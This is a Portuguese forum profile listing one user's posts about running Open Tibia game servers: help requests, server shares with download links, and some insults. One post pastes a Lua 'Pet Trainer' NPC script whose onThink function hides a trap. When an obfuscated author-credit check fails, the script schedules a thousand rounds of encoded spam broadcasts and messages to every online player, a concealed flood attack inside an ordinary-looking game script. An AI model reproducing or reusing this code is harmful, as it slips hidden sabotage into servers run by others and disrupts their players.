Ir para conteúdo

calim

Campones
  • Total de itens

    17
  • Registro em

  • Última visita

Tudo que calim postou

  1. area errada aki e pra posta ot serv vc ta anunciando
  2. calim

    Iriana Layout

    link quebrado arruma ae
  3. xim presizo fala com vc mano entra no msn ou entra no teu ot
  4. calim

    Me Ajuda

    mais n acha sempre vem com erro e quando vem e akeles q fala !pet eu quero o /pet entend
  5. ok eu vo tentar
  6. fi eu n tenho tempo minha net ta orrivel vc sao rico vc fais hem 2 segundo eu so pobre entend pode baixar de confianca n tem nada n pra q eu vo posta uma coisa q tem virus e akele newstyler q tinha tps hem baixo do templo eu so editei pra coloca on aki so q agora eu trampo e foda
  7. calim

    Me Ajuda

    galera alguem podia me ajudar eu queria um pet-system tipo so fala \pet q ele saia eu queria para ot baiak 8.6
  8. cara eu disse q minha net ta lenta
  9. Ola galera eu editei um ot ai coloquei on so q agora não da mais pra deixa on eu to trabalhando e gostaria de compartilhar com vcs n tenho imagens pq n to tendo tempo o download = http://www.4shared.com/zip/etutXjJj/860_New_Styller.html? galera fais scan ae pra min minha net ta lenta d +++++++++ esse e o newstyller normal com algums tps eu adicionei varios tps modifiquei o templo o dp e algumas coisas
  10. calim

    Ajuda Ae

    cara eu postei isso ninguem ajuda presizava pra ontem q eu ia abri meu ot ai por causa disos n abri
  11. calim

    Ajuda Ae

    cara ninguem me ajuda presizo pra hj o pess0a ele falo pra min posta aki pq ele n vai me ajuda de jeito nenhum ai eu postei ninguem ajuda cara eu ja to ficando inritado vo xinga mano pqp eu presizo pra hj esse krl ninguem ajuda
  12. calim

    Diigo Baiak

    cara fico legal
  13. calim

    Ajuda Ae

    aki o npc <?xml version="1.0" encoding="UTF-8"?> <npc name="Pet Trainer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc> o script do npc local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('You need your Pet to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck, cfgLvl, cfgRaces, petLvl, petRace = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check, f.pet.level, f.pet.races, getPetLvl(cid), getPetRace(cid) if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(petLvl < cfgLvl) then selfSay('oops!! Your pet level is too low! Your pet need at least level '.. cfgLvl ..' for this mission! maybe You wanna choose another {mission}?', cid) talkState[talkUser] = 0 return true elseif not (isInArray(petRace, cfgRaces)) then selfSay('oops! Your pet is from '.. string.upper(getRaceNameById(petRace)) ..' race, that means You may not accept this mission. maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) --if(reExp > 0) then -- doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) --end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your pet level is too low, Buying pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages, cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n Scripted by " .. s(aps_tools.s) .. "") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<­~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) aff ninguem vai me ajudar ? krl toma no cu ninguem vai me ajuda
  14. calim

    Ajuda Ae

    galera eu tenho 1 duvida eu to com 1 pet-system 8.60 q eu catei de um lugar ai eu coloquei certinho ele fico certinho no ot o npc apareceu mais o meu poblema e q quando eu vo compra o pet ele da erro e tipo assim eu falo hi pet dragons yes yes ai ele da tudo certo mais na hr q eu falo /pet fala q tem q compra o pet hem tal lugar alguem pode me ajudar
  15. aonde cara aloczs mano se olha 1 o q se fala pra depois vc fala ok ve 1 as coisas entao cala a boca se n sabe de nada n fala
  16. calim

    Ajuda Ae Galera

    ola galera do xtibia eu to com um poblema q eu n achei o systema de footeboll tipo é 3 player pra cada lado ai um dos player puxa a alavanca e vao pro campo ai tem o time do brasil e da argentina igual o footboll do alissow eu queri igual dele so q com as alavancas e ter um tempo para fica no campo alguem poderia me ajduar
  17. calim

    To Com Poblema

    entao qual eu devo escolaer semi-dedicado ou dedicado
  18. galera eu to com algums poblemas vo fala algums depois os outros se me add no msn q eu falo pq se n vai fica muito longo 1 qual a diferencia entrem semi-dedicado e hospedagen 2 o semi-dedicado e o hospedagen deixa o site e o ot on do mesmo jeito ou n meu msn karlos.slash@hotmail.com me ajudem ai pr amin coloca no meu ot presizo de ajuda
  19. calim

    Alguem Podia Me Ajuar

    galera alguem pode me ajuda num programa q eu tenho aki de griar monstros grandes
  20. cara cade o scan a mano eu tanbem presizo de um host mais eu gostei do ot rep +
  21. [ War Server ] Welcome to Perfection [EddyHavoc] [8.60] Olá Galera do #####, venho trazer a vocês um mapa que está 100% Totalmente sem bug pronto para deichar Online. Informações Cidade de Thais, totalmente fechada para Player versus Player (PVP) No Depot você encontrar alguns NPC's Novos e Editados. Depot de Thais é encontrado dois Teleport que vão para a Área de Treinamento e para a Hunt do servidor, como é um servidor de war eu fiz pequena, pois o interessante é a war mais está bem feita, a Área de Treinamente é NO-PVP para os players treinarem o quanto que quizer. O Resto acho que é legal que vocês baixem para ver. Imagens Download do Servidor Completo ! (APenas o mapa está sem BUG) DATABASE DO SERVIDOR SE VOCê FOR USA SQLITE-STUDIO. CLIQUE AQUI. Quote CRÉDITOS: EddyHavoc (EU) Eu(Por Trazer Aki) Nossa ninguem gosto ?
  22. ok vo posta
  23. Galera Se tiver algum ot parecido com esse remova Bom galera, hoje eu trago o "InceptioN Server [Thyranic]... Com muitas coisas novas... [inceptioN 0.1] 08/02/2012 - 17:56 - Distro Novo ! [TFS 0.4 ReV 3884] - Limpeza de alguns scripts.. - Adicionado alguns monstros.. - Totalmente funcional com mysql/sqlite. - Implantação da "InceptioN City" - Funcional com WAR SYSTEM. - Refeito alguns scripts.. - Mudanças no mapa.. [inceptioN 0.2] 08/02/2012 - 19:54 - Conta GOD adicionada, 2/1 - Position new player consertado. - InceptioN City ativada.. - Retirada algumas actions. - Correção em alguns npcs da InceptioN City.. OT Estável.. Com muitas coisas novas e praticamente sem bug ! Créditos - Delton - Kaotar - Luisfe23 - Matheus - RenanSdc - Sonkis - Thyranic - TFS Team - Caverna -Eu(Por trazer aki) [OT Server] http://www.mediafire...851vva33xq016yh [sCAN] https://www.virustot...sis/1328737854/
  24. cara mais e muita coisa n é so 1 pasta e varias pasta eu achei o pet nesse toturial aki http://forums.######/showthread.php?161477-Advanced-Pet-System-With-Races%21 achei aki
  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...